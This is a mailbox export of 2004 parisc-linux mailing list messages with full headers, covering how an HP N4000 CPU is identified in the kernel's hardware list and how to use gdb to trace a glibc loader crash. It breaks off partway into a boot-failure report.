X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24877

Hi all, 

I just noticed that that in during the "Found devices:" on the the N4k it=
's
mentioned:
[...]
18. DEW BC Runway Port at 0xfffffffffed24000 [36] { 7, 0x0, 0x584, 0x0000=
c
}
19. Unknown machine at 0xfffffffffed25000 [37] { 0, 0x0, 0x5d3, 0x00000
}
20. DEW BC Runway Port at 0xfffffffffed2c000 [44] { 7, 0x0, 0x584, 0x0000=
c
}
21. Unknown machine at 0xfffffffffed2d000 [45] { 0, 0x0, 0x5d3, 0x00000
}

Comparing with ioscan:
[...]
pbc         1  36                      pbc       CLAIMED     BUS_NEXUS 
  Bus Converter
processor   1  37                      processor CLAIMED     PROCESSOR 
  Processor
pbc         3  44                      pbc       CLAIMED     BUS_NEXUS 
  Bus Converter
processor   3  45                      processor CLAIMED     PROCESSOR 
  Processor

The 'Unknown machine' are in fact the cpu.

Any idea where I have to look for to change it?

TIA,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "Unknown machine at ..." on N4k
Date: Thu, 15 Jul 2004 08:08:12 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <40BDA0200001B92E@ocpmta3.freegates.net>
References: <40BDA0200001B916@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624464 25631 80.91.229.3 (22 Nov 2014 02:47:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5553 invoked by uid 65534); 15 Jul 2004 06:08:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx029) with SMTP; 15 Jul 2004 08:08:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2008F3BCA9; Thu, 15 Jul 2004 00:08:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22067-05; Thu, 15 Jul 2004 00:08:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DFFED3BDCB; Thu, 15 Jul 2004 00:08:22 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA46C3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 00:08:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20711-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 00:08:16 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8B9543BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 00:08:16 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6AB0849469C; Thu, 15 Jul 2004 00:08:15 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP
	id BC135494692; Thu, 15 Jul 2004 00:08:14 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 15 Jul 2004 08:08:12 +0200
In-Reply-To: <40BDA0200001B916@ocpmta3.freegates.net>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24878


> > On Wed, Jul 14, 2004 at 05:24:23PM +0000, Joel Soete wrote:
> > ...
> > > 19. Unknown machine at 0xfffffffffed25000 [37] { 0, 0x0, 0x5d3, 0x0=
0000
> > }
> > ...
> > > Any idea where I have to look for to change it?
> >
> > It needs to be added to arch/parisc/kernel/hardware.c.
> > see hp_hardware_list[] declaration :^)
> >
> > We just need to know what the proper name for the CPU is.
> 
> Ah it seems to be a N4000-55 (cpu PA8600 (PCX-w+)  550Mhz, so according=

> to:
> <http://hwdb.parisc-linux.org/view.php?type=3Dmachine&name=3DN4000-55>,=

>  it would be of "Prelude W+ 540" model name (even thought that its actu=
al
> clock seems well 550?)
> 
umm not so easy to choose the right thing according to:
<http://www.openpa.net/cpu.html#xwp>
its code name would be "Landshark"

Thanks more,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new toolchain (binutils 2.15, gcc 3.5,
	glibc 2.3.3) progress
Date: Thu, 15 Jul 2004 11:42:46 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20040715154245.GB22026@baldric.uwo.ca>
References: <40E6A00E.8020203@tiscali.be>
	<40BD9F05000175F1@ocpmta1.freegates.net>
	<20040709183243.GJ4759@baldric.uwo.ca>
	<40F272A1.4040006@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624464 25633 80.91.229.3 (22 Nov 2014 02:47:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23018 invoked by uid 65534); 15 Jul 2004 15:44:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx010) with SMTP; 15 Jul 2004 17:44:10 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 250963BDDB; Thu, 15 Jul 2004 09:43:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26784-06; Thu, 15 Jul 2004 09:43:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 83FA33BDCB; Thu, 15 Jul 2004 09:43:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E668E3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 09:43:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26679-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 09:43:25 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D5A963BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 09:43:24 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4FFF849469C; Thu, 15 Jul 2004 09:43:24 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id BEF76494692
	for <parisc-linux@parisc-linux.org>;
	Thu, 15 Jul 2004 09:43:23 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Bl8Ni-000711-00; Thu, 15 Jul 2004 11:42:46 -0400
Content-Disposition: inline
In-Reply-To: <40F272A1.4040006@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (46% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24879

On Mon, Jul 12, 2004 at 11:14:41AM +0000, Joel Soete wrote:
> >That seems reasonable, it's trying to load the first word from the
> >locale data. Not sure why that would crash. Is it still crashing in the
> >same place?
> 
> Yes it always crashed at the same place.
> That is why I would like to back traced the calling function to see if some 
> space register is not broken?

I don't currently have time to investigate, but believe me, it's not the
right place.

I recommend doing the following:

a. Start gdb, and specify you want to debug your new loader
        gdb "/yoursource/glibc-build/elf/ld.so.1"

b. Do the right 'set env' and the right 'set args'

c. Break at 'fixup' or 'rtld'

d. Then use 'si' to move forward slowly, it's best if you break on fixup
   because you can 'c' from fixup for a couple of times before you jump
   into the relocated executable.

e. Continue with 'si XXXX' to jump forward until it crashes, repeat
   again with binary steps. This process can be automated, and it's what
   I do when I don't trust the debugger.

In the end you should clearly see where you are dying! Though you might
have to do some assembly correlation to find the position
(/proc/self/maps is usefull at this point).

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "Unknown machine at ..." on N4k
Date: Thu, 15 Jul 2004 18:13:14 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20040715171314.GJ32326@parcelfarce.linux.theplanet.co.uk>
References: <40BD9F870001BC0C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624464 25636 80.91.229.3 (22 Nov 2014 02:47:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:44 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15474 invoked by uid 65534); 15 Jul 2004 17:13:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 15 Jul 2004 19:13:59 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3C0933BDCB; Thu, 15 Jul 2004 11:13:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28104-01; Thu, 15 Jul 2004 11:13:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AC3883BDCE; Thu, 15 Jul 2004 11:13:23 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E6663BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 11:13:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27644-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 11:13:19 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1CBB53BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 11:13:19 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 9A1E649469E; Thu, 15 Jul 2004 11:13:18 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id D70A849469D
	for <parisc-linux@parisc-linux.org>;
	Thu, 15 Jul 2004 11:13:17 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Bl9nG-0004Al-Rd; Thu, 15 Jul 2004 18:13:15 +0100
Content-Disposition: inline
In-Reply-To: <40BD9F870001BC0C@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24880

On Wed, Jul 14, 2004 at 05:24:23PM +0000, Joel Soete wrote:
> I just noticed that that in during the "Found devices:" on the the N4k it's
> mentioned:

What kernel?

> [...]
> 18. DEW BC Runway Port at 0xfffffffffed24000 [36] { 7, 0x0, 0x584, 0x0000c
> }
> 19. Unknown machine at 0xfffffffffed25000 [37] { 0, 0x0, 0x5d3, 0x00000
> }

        {HPHW_NPROC,0x5D3,0x4,0x91,"Prelude W+ 540"},

We have this one ...

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "Unknown machine at ..." on N4k
Date: Fri, 16 Jul 2004 08:57:40 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <40BDA0200001C43A@ocpmta3.freegates.net>
References: <20040715171314.GJ32326@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624465 25642 80.91.229.3 (22 Nov 2014 02:47:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:45 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 428 invoked by uid 65534); 16 Jul 2004 06:58:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 16 Jul 2004 08:58:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0C9093BDCB; Fri, 16 Jul 2004 00:58:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02289-04; Fri, 16 Jul 2004 00:58:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 302163BDCE; Fri, 16 Jul 2004 00:57:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 214ED3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 00:57:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02173-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 00:57:46 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E4C4C3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 00:57:45 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6DB6F4946C8; Fri, 16 Jul 2004 00:57:45 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id D408D4946C6
	for <parisc-linux@parisc-linux.org>;
	Fri, 16 Jul 2004 00:57:44 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 16 Jul 2004 08:57:40 +0200
In-Reply-To: <20040715171314.GJ32326@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24881

> 
> On Wed, Jul 14, 2004 at 05:24:23PM +0000, Joel Soete wrote:
> > I just noticed that that in during the "Found devices:" on the the N4=
k
> it's
> > mentioned:
> 
> What kernel?
> 
Apologies, 2.6.7-pa7

> > [...]
> > 18. DEW BC Runway Port at 0xfffffffffed24000 [36] { 7, 0x0, 0x584, 0x=
0000c
> > }
> > 19. Unknown machine at 0xfffffffffed25000 [37] { 0, 0x0, 0x5d3, 0x000=
00
> > }
> 
>         {HPHW_NPROC,0x5D3,0x4,0x91,"Prelude W+ 540"},
> 
> We have this one ...
> 
Strange, I need so to have a more detail look :)

Thanks,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-2.6.8-rc2-pa0 failled to boot in multi-user on
	N4k
Date: Mon, 26 Jul 2004 18:42:45 +0200
Lines: 513
Approved: news@gmane.org
Message-ID: <40FB87C4000034E9@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624465 25646 80.91.229.3 (22 Nov 2014 02:47:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:45 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9716 invoked by uid 65534); 26 Jul 2004 16:43:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 26 Jul 2004 18:43:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7A3273BE2F; Mon, 26 Jul 2004 10:43:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27734-03; Mon, 26 Jul 2004 10:43:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1C36B3BE23; Mon, 26 Jul 2004 10:42:58 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6603F3BE17
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 10:42:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27385-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 10:42:51 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3AD453BDF9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 10:42:51 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 690994946C6; Mon, 26 Jul 2004 10:42:50 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP
	id CEFFF4946C4; Mon, 26 Jul 2004 10:42:48 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 26 Jul 2004 18:42:45 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24882

Hello Grant,

>
> On Sat, Jul 24, 2004 at 09:52:50PM +0000, Joel Soete wrote:
> > I  test with 2.6.8-rc2-pa0 using the n4000_defconfig (with or without=

DISCONTIGMEM),
> > I can start it in single user mode but as soon as I 'init 2' the syst=
em
